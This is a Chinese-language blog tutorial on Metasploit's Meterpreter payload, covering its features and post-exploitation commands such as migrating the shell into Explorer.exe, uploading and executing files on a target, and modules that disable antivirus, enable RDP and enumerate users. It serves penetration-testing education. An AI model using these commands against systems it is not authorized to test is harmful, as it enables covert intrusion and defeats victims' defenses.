MSF:Meterpreter简介、基本命令

内容

  • Meterpreter简介
  • Meterpreter优点
  • Meterpreter基本命令

Meterpreter简介

  • Meterpreter是MSF中的一个杀手锏,通常作为漏洞溢出后的攻击载荷所使用,攻击载荷在触发漏洞后能够返回给我们一个控制通道
  • Meterpreter是MSF的一个扩展模块,可以调用MSF的一些功能,对目标系统进行更为深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等等

Meterpreter优点

  • 纯内存工作模式,不需要对磁盘进行任何写入操作
  • 使用加密通信协议,而且可以同时与几个信道通信
  • 在被攻击进程内工作,不需要创建新的进程
  • 易于在多进程之间迁移
  • 平台通用,适用于Windows、Linux、BSD系统,并支持Inter x86和Inter x64平台

Meterpreter基本命令

在获得系统的Meterpreter会话之后,可以利用一些基本的Meterpreter命令,来收集更多的信息。可以输入help命令查看使用,这里我们列举一部分

1、进程迁移

在刚获得Meterpreter Shell时,该Shell是极其脆弱和易受攻击的,所以第一步就是要移动这个Shell,把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作。

输入ps命令获取目标机正在运行的进程

输入getpid命令查看Meterpreter Shell的进程号

输入migrate 3224命令(3224是当前Explorer.exe进程的PID)把Shell移动到PID为3224的Explorer.exe进程里,因为该进程是一个稳定的应用。只要Explorer.exe进程一直运行,当前的meterpreter会话就不会中断。常常利用此命令将meterpreter移植到一些一直不会关闭的进程中,可以最大程度的保证meterpreter的寿命。

完成进程迁移后,再次输入getpid命令查看Meterpreter Shell的进程号,发现PID已经变成了3224,说明已经成功迁移到Explorer.exe进程里。

进程迁移完成后,原先PID为1172的进程会自动关闭,如果没有自动关闭可以输入kill 1172命令来结束该进程。

使用自动迁移进程命令,系统会自动寻找合适的进程然后迁移

//Meterpreter Shell
run post/windows/manage/migrate                //自动迁移进程命令

2、系统命令

获得了稳定的进程后,接下来收集系统信息

sysinfo:这个命令可以获取系统运行的平台

screenshot:截屏

background:将当前的session放到后台运行,可以在msf中继续其他的渗透任务。此命令适合在多个Meterpreter会话的场景下使用

sessions

  • 这个命令需要配合上面的background来使用
  • sessions:查看已经成功获取的会话
  • sessions -i ID:连接到执行ID的meterpreter会话已继续利用

getuid:获取运行Meterpreter会话的用户名

upload:upload 源文件路径 目的文件路径

download :download  目标文件路径  本地路径

execute:在目标机中执行文件

查看目标机是否运行在虚拟机上

run post/windows/gather/checkvm

idletime命令查看运行时间

输入route命令查看目标机完整的网络设置

run post/windows/manage/killav               //关闭目标机系统杀软
run post/windows/manage/enable_rdp           //启动目标机的远程桌面协议
run post/windows/manage/autoroute            //查看目标机的本地子网情况
run post/windows/gather/enum_logged_on_users //列举有多少用户登录了目标机
run post/windows/gather/enum_applications    //列举安装在目标机上的应用程序

输入shell命令进入目标机Shell下面

输入exit命令可以停止Shell会话并返回Meterpreter。最后输入exit命令停止Meterpreter会话。

文件系统命令

pwd                           查看当前处于目标机的哪个目录
getwd                         查看当前处于目标机的哪个目录
getlwd                        查看当前处于本地的哪个目录
ls                            列出当前目录中的所有文件
cd                            切换目录

search命令:搜索执行类型的文件

  • -f参数:用于指定搜索文件模式
  • -d参数:用于指定在哪个目录下进行搜索

发布了55 篇原创文章 · 获赞 1 · 访问量 2728

猜你喜欢

转载自blog.csdn.net/prettyX/article/details/103761713
今日推荐